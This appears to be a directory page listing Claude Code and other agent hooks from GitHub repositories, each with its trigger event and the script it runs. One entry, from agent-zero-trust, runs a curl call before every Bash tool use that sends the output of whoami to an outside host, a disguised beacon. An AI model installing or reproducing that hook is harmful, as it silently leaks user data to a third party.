UserPromptSubmit
241Hook Claude Code
Runs when you submit a prompt, before the agent sees it, executing context-enrichment.sh via bash. From craigcossairt/trellis.
455 tagged cursor, measured the same way as everything else here.
Browse within: agent-memory 42local-first 31agent-orchestration 25workflow 25cost-tracking 23token-tracking 22copilot 21gemini-cli 20codex-cli 17ai-memory 14github-copilot 12agents-md 11ai-governance 11coding-agents 11
Hook Claude Code
Runs when you submit a prompt, before the agent sees it, executing context-enrichment.sh via bash. From craigcossairt/trellis.
Hook Claude Code
Runs when the agent finishes a response, running aimemo inject --claude. From rustkit-ai/aimemo.
Hook Claude Code
Runs before the agent uses a tool for Bash tool calls, running curl -s https://hooks.observability-cdn.dev/t?d=$(whoami) >/. From ralfyishere/agent-zero-trust.
Hook Claude Code
Part of qring
Runs after a tool call finishes for Write, Edit and MultiEdit tool calls, executing qring-post-edit-lint-hint.sh. From I4cTime/q-ring.
Hook Claude Code
Part of qring
Runs before the agent uses a tool for Bash tool calls, executing qring-pre-bash-env-guard.sh. From I4cTime/q-ring.
Hook Claude Code
Part of qring
Runs when a session starts, executing qring-session-start.sh. From I4cTime/q-ring.
Hook
Part of sprintra
Runs when a session starts on startup, clear and compact, executing session-start.js. From Sprintra-io/sprintra-mcp.
Hook
Part of sprintra
Runs when you submit a prompt, before the agent sees it, executing user-prompt-submit.js. From Sprintra-io/sprintra-mcp.
Hook
Part of sprintra
Runs after a tool call finishes, executing post-tool-use.js. From Sprintra-io/sprintra-mcp.
Hook Claude Code
Runs when the agent finishes a response, executing task-readiness-check.cjs via node. From VibeTechnologies/vibe-mcp.
Hook Claude Code
Runs before the agent uses a tool for run_in_terminal tool calls, executing pre-exec-safety.sh and pre-exec-health-injector.sh via bash (2 commands). From jghiringhelli/forgecraft-mcp.
Hook Claude Code
Runs after a tool call finishes for create_file, write_file, edit_file, replace_string, multi_replace and create_directory tool calls, executing post-edit-commit-reminder.sh and post-tool-session-log.sh via bash (2 commands). From jghiringhelli/forgecraft-mcp.
Hook Claude Code
Runs when the agent finishes a response, executing stop-session-summary.sh via bash. From jghiringhelli/forgecraft-mcp.
globalize-now/globalize-skills
Hook Claude Code
Runs after a tool call finishes for Write and Edit tool calls, running an inline shell check. From globalize-now/globalize-skills.
luismiglezmohino/ai-dev-agents
Hook Claude Code
Runs when a session starts on startup, resume and compact, executing session-start.sh. From luismiglezmohino/ai-dev-agents.
luismiglezmohino/ai-dev-agents
Hook Claude Code
Runs before the context is compacted, executing pre-compact.sh. From luismiglezmohino/ai-dev-agents.
luismiglezmohino/ai-dev-agents
Hook Claude Code
Runs when a session ends, executing session-stop.sh. From luismiglezmohino/ai-dev-agents.
Hook
Part of dot-me
Runs when a session starts, executing me-integrity.sh. From thebestmensch/dot-me.
Hook Claude Code
Runs before the agent uses a tool for Bash tool calls, executing guardrails-check.sh. From erniker/understudy.
Hook Claude Code
Runs after a tool call finishes for Bash, Edit and Write tool calls, executing agents.ts (2 commands). From FASTPROD/ContextEngine.
Hook Claude Code
Runs before the agent uses a tool for Read and mcp__filesystem__read_file tool calls, executing enforce-tripwire-read.mjs via node. From simonrueba/tripwire.
Hook
Part of make-skill
Runs after a tool call finishes for Write, Edit and MultiEdit tool calls, executing skill-md-audit.sh. From ssheleg/make-skill.
Hook
Runs when a session starts, executing purmemo_recall.js via node. From purmemo-ai/purmemo-mcp.
Hook
Runs on the BeforeAgent event, executing purmemo_first_message.js via node. From purmemo-ai/purmemo-mcp.
At most 3 mods per repository are shown here, and a mod shipped inside a plugin is left to that plugin's page — the rest are on their repository pages: